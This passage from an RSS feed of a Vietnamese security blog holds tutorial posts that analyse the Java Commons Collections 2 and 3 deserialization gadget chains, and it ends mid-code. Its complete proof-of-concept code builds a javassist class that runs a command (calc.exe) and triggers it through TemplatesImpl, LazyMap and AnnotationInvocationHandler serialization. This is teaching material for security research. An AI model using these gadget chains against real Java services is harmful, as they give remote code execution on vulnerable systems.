class="line">        <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;Test&quot;</span>);</span><br><span class="line">        ctClass.setSuperclass(pool.get(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>));</span><br><span class="line">        ctClass.makeClassInitializer().setBody(<span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);&quot;</span>);</span><br><span class="line">        <span class="type">byte</span>[] bytes = ctClass.toBytecode();</span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_nameField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_name&quot;</span>);</span><br><span class="line">        _nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _nameField.set(templates, <span class="string">&quot;notNull&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_classField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_class&quot;</span>);</span><br><span class="line">        _classField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _classField.set(templates, <span class="literal">null</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_bytecodes</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_bytecodes&quot;</span>);</span><br><span class="line">        _bytecodes.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _bytecodes.set(templates, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;bytes&#125;);</span><br><span class="line">        Field tfactoryField=templates.getClass().getDeclaredField(<span class="string">&quot;_tfactory&quot;</span>);</span><br><span class="line">        tfactoryField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        tfactoryField.set(templates,<span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line"></span><br><span class="line">        <span class="type">InstantiateTransformer</span> <span class="variable">instantiateTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InstantiateTransformer</span>(<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Templates.class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;templates&#125;);</span><br><span class="line">        <span class="comment">//instantiateTransformer.transform(TrAXFilter.class);</span></span><br><span class="line">        Transformer[] transformers = &#123;</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(TrAXFilter.class),</span><br><span class="line">                instantiateTransformer</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span><span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line">        <span class="comment">//chainedTransformer.transform(null);</span></span><br><span class="line">        <span class="comment">//----------------------TransformedMap</span></span><br><span class="line"><span class="comment">//        HashMap&lt;Object, Object&gt; hashMap = new HashMap&lt;&gt;();</span></span><br><span class="line"><span class="comment">//        hashMap.put(&quot;value&quot;, &quot;test-value&quot;);</span></span><br><span class="line"><span class="comment">//        Map&lt;Object, Object&gt; map = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);</span></span><br><span class="line"><span class="comment">//        Class aihClass = Class.forName(&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;);</span></span><br><span class="line"><span class="comment">//        Constructor aihClassConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);</span></span><br><span class="line"><span class="comment">//        aihClassConstructor.setAccessible(true);</span></span><br><span class="line"><span class="comment">//        Object aihObject = aihClassConstructor.newInstance(Target.class, map);</span></span><br><span class="line"><span class="comment">//        serialize(aihObject);</span></span><br><span class="line"><span class="comment">//        unserialize(&quot;ser.bin&quot;);</span></span><br><span class="line">        <span class="comment">//-----------------------LazyMap</span></span><br><span class="line">        HashMap&lt;Object, Object&gt; hashMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        <span class="type">Map</span> <span class="variable">lazyMap</span> <span class="operator">=</span> LazyMap.decorate(hashMap, chainedTransformer);</span><br><span class="line">        <span class="comment">//lazyMap.get(null);</span></span><br><span class="line">        <span class="type">Class</span> <span class="variable">aihClass</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;</span>);</span><br><span class="line">        <span class="type">Constructor</span> <span class="variable">aihConstructor</span> <span class="operator">=</span> aihClass.getDeclaredConstructor(Class.class, Map.class);</span><br><span class="line">        aihConstructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">InvocationHandler</span> <span class="variable">aihInstance</span> <span class="operator">=</span> (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);</span><br><span class="line">        <span class="type">Map</span> <span class="variable">proxyMap</span> <span class="operator">=</span> (Map) Proxy.newProxyInstance(aihClass.getClassLoader(), <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Map.class&#125;,aihInstance);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">aihProxyObject</span> <span class="operator">=</span> aihConstructor.newInstance(Override.class, proxyMap);</span><br><span class="line">        serialize(aihProxyObject);</span><br><span class="line">        unserialize(<span class="string">&quot;ser.bin&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Chạy file và máy tính đã bật lên!</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2023/03/20/CommonsCollections3/LazyMapResult.png"></p><p>Phần thay đổi lấy từ cc1-lazymap, các bạn tìm lại đọc nhé~</p><h2 id="Loi-ket"><a href="#Loi-ket" class="headerlink" title="Lời kết"></a>Lời kết</h2><p>Chain này cũng không có gì quá khó khăn vì dựa trên phần đầu của cc1 và phần đuôi của cc2 mà mình đã phân tích. Chỉ khác là nó không đi qua <code>InvokerTranformer</code> mà đi qua <code>InstantiateTransformer</code> kết hợp với <code>TrAXFilter</code>.<br>Qua ba bài viết về ba gadget chains mình đã dần thấy quen với việc đọc mã nguồn và sâu chuỗi các hàm, class. Mọi thứ dần trở nên dễ dàng hơn một xíu rồi. Hy vọng các bạn cũng như mình!<br>Phần này mình sử dụng lại các đoạn code từ mấy chain trước nên nếu bạn chưa hiểu thì tìm đọc nhé.</p><blockquote><p>Chúc các bạn học tốt~</p></blockquote>]]></content:encoded>
      
      
      <category domain="https://rayinaw.github.io/categories/Java/">Java</category>
      
      <category domain="https://rayinaw.github.io/categories/Java/Deserialization/">Deserialization</category>
      
      
      <category domain="https://rayinaw.github.io/tags/Java/">Java</category>
      
      <category domain="https://rayinaw.github.io/tags/Deserialization/">Deserialization</category>
      
      <category domain="https://rayinaw.github.io/tags/Commons-Collections/">Commons Collections</category>
      
      
      <comments>https://rayinaw.github.io/2023/03/20/CommonsCollections3/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>Phân tích chuỗi Commons Collections 2</title>
      <link>https://rayinaw.github.io/2022/12/16/CommonsCollections2/</link>
      <guid>https://rayinaw.github.io/2022/12/16/CommonsCollections2/</guid>
      <pubDate>Fri, 16 Dec 2022 03:05:45 GMT</pubDate>
      
        
        
      <description>&lt;h2 id=&quot;Mot-vai-kien-thuc-can-nam&quot;&gt;&lt;a href=&quot;#Mot-vai-kien-thuc-can-nam&quot; class=&quot;headerlink&quot; title=&quot;Một vài kiến thức cần nắm&quot;&gt;&lt;/a&gt;Một vài kiế</description>
        
      
      
      
      <content:encoded><![CDATA[<h2 id="Mot-vai-kien-thuc-can-nam"><a href="#Mot-vai-kien-thuc-can-nam" class="headerlink" title="Một vài kiến thức cần nắm"></a>Một vài kiến thức cần nắm</h2><p>Trước khi vào bài viết chúng ta cần nắm một số kiến thức sau:</p><ul><li><a href="https://self-learning-java-tutorial.blogspot.com/2020/04/javassist-tutorial.html">javassist</a></li><li>Hiểu được ChainedTransformer ở CC1, nếu các bạn chưa biết thì tìm đọc lại bài CC1-TransformedMap của mình nhé.</li></ul><h2 id="Moi-truong"><a href="#Moi-truong" class="headerlink" title="Môi trường"></a>Môi trường</h2><ul><li>JDK8u65</li><li>Commons-Collections 4.0<br>Thêm Commons-Collections 4.0 vào project bằng dependencies:<figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependencies</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependency</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.commons<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>commons-collections4<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>4.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.javassist<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>javassist<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.25.0-GA<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependencies</span>&gt;</span></span><br></pre></td></tr></table></figure></li></ul><h2 id="Phan-tich"><a href="#Phan-tich" class="headerlink" title="Phân tích"></a>Phân tích</h2><p>Sơ đồ tóm tắt chuỗi.<br><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/11/04/Commons-Collections1-TransformedMap/mindmap.png"></p><p>Từ TemplateImpl đến OS Command</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">TemplatesImpl.newTransformer()</span><br><span class="line">TemplatesImpl.getTransletInstance()</span><br><span class="line">TemplatesImpl.defineTransletClasses()</span><br><span class="line">TransletClassLoader.defineClass()</span><br><span class="line">TemplatesImpl.getTransletInstance()-&gt;_class[_transletIndex].newInstance()</span><br><span class="line">Runtime.getRuntime().exec(<span class="string">&quot;calc.exe&quot;</span>)</span><br></pre></td></tr></table></figure><h3 id="newTransformer"><a href="#newTransformer" class="headerlink" title="newTransformer()"></a>newTransformer()</h3><p>Trong lớp TemplateImpl tìm đến phương thức TemplateImpl.newTransformer(). Trong phương thức này nó gọi đến TemplateImpl.getTranslateInstance(). Đi đến phương thức này.</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/12/16/CommonsCollections2/TemplatesImplnewTransformer.png"></p><p>Trong phương thức này, chúng ta cần quan tâm đến phương thức TemplateImpl.defineTransletClasses(). </p><p>Nếu _name không null và _class null thì nó sẽ gọi đến TemplateImpl.defineTransletClasses(). Hai biến này hiện tại mình vẫn chưa rõ là gì bởi chưa rõ lớp TemplateImpl, cứ tiếp tục thôi.</p><h3 id="defineTransletClasses"><a href="#defineTransletClasses" class="headerlink" title="defineTransletClasses()"></a>defineTransletClasses()</h3><p>Đi đến phương thức TemplateImpl.defineTransletClasses().</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/12/16/CommonsCollections2/defineTransletClasses.png"></p><p>Đầu tiên để đi tiếp, chúng ta cần _bytecodes khác null. </p><p>Trong phương thức này nó thực hiện tạo một TransletClassLoader, TransletClassLoader là một lớp con static của lớp TemplateImpl, và nó implement lớp Classloader. </p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">TransletClassLoader</span> <span class="variable">loader</span> <span class="operator">=</span> (TransletClassLoader)</span><br><span class="line">    AccessController.doPrivileged(<span class="keyword">new</span> <span class="title class_">PrivilegedAction</span>() &#123;</span><br><span class="line">        <span class="keyword">public</span> Object <span class="title function_">run</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">TransletClassLoader</span>(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;);</span><br></pre></td></tr></table></figure><p>loader này thực hiện <code>_class[i] = loader.defineClass(_bytecodes[i])</code>, hàm này sẽ thực hiện phương thức defineClass của lớp ClassLoader <code>ClassLoader.defineClass(null, b, 0, b.length)</code> </p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">protected</span> <span class="keyword">final</span> Class&lt;?&gt; defineClass(String name, <span class="type">byte</span>[] b, <span class="type">int</span> off, <span class="type">int</span> len)</span><br><span class="line">    <span class="keyword">throws</span> ClassFormatError</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span> defineClass(name, b, off, len, <span class="literal">null</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">protected</span> <span class="keyword">final</span> Class&lt;?&gt; defineClass(String name, <span class="type">byte</span>[] b, <span class="type">int</span> off, <span class="type">int</span> len,</span><br><span class="line">                                     ProtectionDomain protectionDomain)</span><br><span class="line">    <span class="keyword">throws</span> ClassFormatError</span><br><span class="line">&#123;</span><br><span class="line">    protectionDomain = preDefineClass(name, protectionDomain);</span><br><span class="line">    <span class="type">String</span> <span class="variable">source</span> <span class="operator">=</span> defineClassSourceLocation(protectionDomain);</span><br><span class="line">    Class&lt;?&gt; c = defineClass1(name, b, off, len, protectionDomain, source);</span><br><span class="line">    postDefineClass(c, protectionDomain);</span><br><span class="line">    <span class="keyword">return</span> c;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Mã nguồn của nó hơi khó hiểu nên mình đọc doc để biết nhanh chức năng của phương thức defineClass.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">defineClass</span><br><span class="line"><span class="meta">@Deprecated</span></span><br><span class="line"><span class="keyword">protected</span> <span class="keyword">final</span> Class&lt;?&gt; defineClass(<span class="type">byte</span>[] b,</span><br><span class="line">                              <span class="type">int</span> off,</span><br><span class="line">                              <span class="type">int</span> len)</span><br><span class="line">                              <span class="keyword">throws</span> ClassFormatError</span><br><span class="line">Deprecated. Replaced by <span class="title function_">defineClass</span><span class="params">(String, <span class="type">byte</span>[], <span class="type">int</span>, <span class="type">int</span>)</span></span><br><span class="line">Converts an array of bytes into an instance of <span class="keyword">class</span> <span class="title class_">Class</span>. Before the Class can be used it must be resolved. This method is deprecated in favor of the version that takes a binary name as its first argument, and is more secure.</span><br><span class="line">Parameters:</span><br><span class="line">    b - The bytes that make up the <span class="keyword">class</span> <span class="title class_">data</span>. The bytes in positions off through off+len-<span class="number">1</span> should have the format of a valid <span class="keyword">class</span> <span class="title class_">file</span> as defined by The Java™ Virtual Machine Specification.</span><br><span class="line">    off - The start offset in b of the <span class="keyword">class</span> <span class="title class_">data</span></span><br><span class="line">    len - The length of the <span class="keyword">class</span> <span class="title class_">data</span></span><br><span class="line">Returns:</span><br><span class="line">    The Class object that was created from the specified <span class="keyword">class</span> <span class="title class_">data</span></span><br><span class="line">Throws:</span><br><span class="line">    ClassFormatError - If the data did not contain a valid <span class="keyword">class</span></span><br><span class="line">    <span class="title class_">IndexOutOfBoundsException</span> - If either off or len is negative, or <span class="keyword">if</span> off+len is greater than b.length.</span><br><span class="line">    SecurityException - If an attempt is made to add <span class="built_in">this</span> <span class="keyword">class</span> <span class="title class_">to</span> a <span class="keyword">package</span> that contains classes that were signed by a different set of certificates than <span class="built_in">this</span> class, or <span class="keyword">if</span> an attempt is made to define a <span class="keyword">class</span> <span class="title class_">in</span> a <span class="keyword">package</span> with a fully-qualified name that starts with <span class="string">&quot;java.&quot;</span>.</span><br></pre></td></tr></table></figure><p>Phương thức này thực hiện chuyển đổi một mảng byte thành một instance của class Class hay nói rõ hơn thì nó tạo ra một object của lớp Class, các bạn có thể đọc ở <a href="%5BLoader.html%5D(https://docs.oracle.com/javase/7/docs/api/java/lang/ClassLoader.html)">đây</a>.</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/12/16/CommonsCollections2/defineTransletClasses1.png"></p><p>Lớp được tạo ra từ <code>_bytecodes[i]</code> gọi đến <code>getSuperClass</code> trả về một super class và lưu vào biến superClass, tên của superClass sẽ được so sánh với “com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet”.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="type">String</span> <span class="variable">ABSTRACT_TRANSLET</span></span><br><span class="line">        <span class="operator">=</span> <span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>;</span><br></pre></td></tr></table></figure><p>Nếu như lớp cha của <code>_class[i]</code> là AbstractTranslet (Hay _Class[i] là class extends AbstractTranslet) thì _transletIndex sẽ được gán bằng i. </p><p>Nói chung, sau phương thức <code>defineTransletClasses()</code>, ta có được vị trị của class extends <code>AbstractTranslet</code> là <code>_transletIndex</code>.</p><p><code>_class[_transletIndex]</code> sẽ là lớp chuyển từ <code>_bytecodes</code> và extends AbstractTranslet.</p><h3 id="getTransletInstance"><a href="#getTransletInstance" class="headerlink" title="getTransletInstance()"></a>getTransletInstance()</h3><p>Tiếp tục follow theo chain, đi đến phương thức getTransletInstance. </p><p>Nó thực hiện _class[_transletIndex].newInstance(). Điểm hay là ở chổ này, khi một class được khởi tạo (<code>Class.newInstance()</code>) thì nó sẽ tự động thực thi constructor hoặc hàm static. </p><p>Cái này thuộc về kiến thức OOP, mình sẽ nói kĩ hơn như sau:</p><ul><li>Khi tạo một instance của Class bằng phương thức newInstance, nó sẽ bao gồm hai bước:<br>  Load class: Khi một class được load lên bộ nhớ, các block static sẽ được thực thi. Các bạn chỉ cần hiểu vậy là đủ, còn nếu muốn hiểu sâu hơn thì tìm hiểu về ClassLoader (tốn thời gian lắm nhé!).<br>  Tạo object: Sau khi class được load lên, constructor sẽ được thực thi để khởi tạo một đối tượng.</li></ul><p>Ví dụ:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;</span><br><span class="line"><span class="keyword">import</span> javassist.*;</span><br><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.net.URL;</span><br><span class="line"><span class="keyword">import</span> java.net.URLClassLoader;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">App</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String args[])</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;Test&quot;</span>);</span><br><span class="line">        ctClass.makeClassInitializer().setBody(<span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);&quot;</span>);</span><br><span class="line">        ctClass.writeFile(<span class="string">&quot;/Users/rayin_awarf/Desktop&quot;</span>);<span class="comment">//Viết class Test xuống thư mục này</span></span><br><span class="line">        <span class="type">File</span> <span class="variable">f</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(<span class="string">&quot;/Users/rayin_awarf/Desktop&quot;</span>);</span><br><span class="line">        URL[] cp = &#123;f.toURI().toURL()&#125;;</span><br><span class="line">        <span class="type">URLClassLoader</span> <span class="variable">urlcl</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">URLClassLoader</span>(cp);</span><br><span class="line">        <span class="type">Class</span> <span class="variable">clazz</span> <span class="operator">=</span> urlcl.loadClass(<span class="string">&quot;Test&quot;</span>);</span><br><span class="line">        <span class="comment">//Đoạn trên là lấy class Test ra, không quan trọng lắm. Nếu các bạn có cách hay hơn thì có thể sử dụng.</span></span><br><span class="line">        <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> clazz.newInstance();</span><br><span class="line">        <span class="comment">//Sau khi thực hiện newInstance() calc.exe đã được thực thi.</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Như đã phân tích ở trước <code>_class[_transletIndex]</code> là lớp chuyển từ <code>_bytecodes</code>, vậy nếu bytecodes chúng ta truyền vào này là của một class chứa static hay constructor chứa shell thì chúng ta sẽ trigger được nó.<br>Có hai cách để làm điều này:</p><h4 id="1-javassist"><a href="#1-javassist" class="headerlink" title="1. javassist"></a>1. javassist</h4><ul><li>Phương thức makeClassInitializer sẽ tạo một constructor.</li><li>makeClassInitializer().setBody sẽ set nội dung cho hàm constructor này.<br>Test thử với POC nhỏ sau:</li></ul><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> javassist.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cc2</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;Test&quot;</span>);</span><br><span class="line">        ctClass.setSuperclass(pool.get(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>));</span><br><span class="line">        ctClass.makeClassInitializer().setBody(<span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);&quot;</span>);</span><br><span class="line">        <span class="type">byte</span>[] bytes = ctClass.toBytecode();</span><br><span class="line"></span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_nameField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_name&quot;</span>);</span><br><span class="line">        _nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _nameField.set(templates, <span class="string">&quot;notNull&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_classField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_class&quot;</span>);</span><br><span class="line">        _classField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _classField.set(templates, <span class="literal">null</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_bytecodes</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_bytecodes&quot;</span>);</span><br><span class="line">        _bytecodes.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _bytecodes.set(templates, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;bytes&#125;);</span><br><span class="line">        templates.newTransformer();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>calc.exe vẫn chưa được kích hoạt, ở đây là do _tfactory chưa được set. _tfactory ở đây là một TransformerFactoryImpl nên chúng ta chỉ cần đặt là <code>new TransformerFactoryImpl()</code>.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> javassist.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cc2</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;Test&quot;</span>);</span><br><span class="line">        ctClass.setSuperclass(pool.get(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>));</span><br><span class="line">        ctClass.makeClassInitializer().setBody(<span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);&quot;</span>);</span><br><span class="line">        <span class="type">byte</span>[] bytes = ctClass.toBytecode();</span><br><span class="line"></span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_nameField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_name&quot;</span>);</span><br><span class="line">        _nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _nameField.set(templates, <span class="string">&quot;notNull&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_classField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_class&quot;</span>);</span><br><span class="line">        _classField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _classField.set(templates, <span class="literal">null</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_bytecodes</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_bytecodes&quot;</span>);</span><br><span class="line">        